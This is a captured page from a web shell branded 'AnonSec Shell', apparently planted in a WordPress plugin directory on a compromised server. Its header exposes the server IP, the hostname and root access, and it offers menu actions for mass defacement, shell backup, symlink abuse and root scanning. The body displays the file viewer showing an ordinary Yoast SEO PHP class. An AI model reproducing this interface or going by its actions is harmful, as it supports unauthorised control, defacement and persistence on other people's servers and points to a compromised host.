AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 18.118.186.100   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/wordpress-seo/lib/dependency-injection/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/wordpress-seo/lib/dependency-injection/container-registry.php
<?php

namespace Yoast\WP\Lib\Dependency_Injection;

use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException;

/**
 * Container_Registry class.
 */
class Container_Registry {

	/**
	 * The registered containers.
	 *
	 * @var ContainerInterface[]
	 */
	private static $containers = [];

	/**
	 * Register a container.
	 *
	 * @param string             $name      The name of the container.
	 * @param ContainerInterface $container The container.
	 *
	 * @return void
	 */
	public static function register( $name, ContainerInterface $container ) {
		self::$containers[ $name ] = $container;
	}

	// phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods.

	/**
	 * Get an instance from a specific container.
	 *
	 * @param string $name              The name of the container.
	 * @param string $id                The ID of the service.
	 * @param int    $invalid_behaviour The behaviour when the service could not be found.
	 *
	 * @return object|null The service.
	 *
	 * @throws ServiceCircularReferenceException When a circular reference is detected.
	 * @throws ServiceNotFoundException          When the service is not defined.
	 */
	public static function get( $name, $id, $invalid_behaviour = 1 ) {
		if ( ! \array_key_exists( $name, self::$containers ) ) {
			if ( $invalid_behaviour === ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE ) {
				throw new ServiceNotFoundException( $id );
			}
			return null;
		}
		return self::$containers[ $name ]->get( $id, $invalid_behaviour );
	}

	// phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber

	/**
	 * Attempts to find a given service ID in all registered containers.
	 *
	 * @param string $id The service ID.
	 *
	 * @return string|null The name of the container if the service was found.
	 */
	public static function find( $id ) {
		foreach ( self::$containers as $name => $container ) {
			if ( $container->has( $id ) ) {
				return $name;
			}
		}
	}
}

Anon7 - 2022
AnonSec Team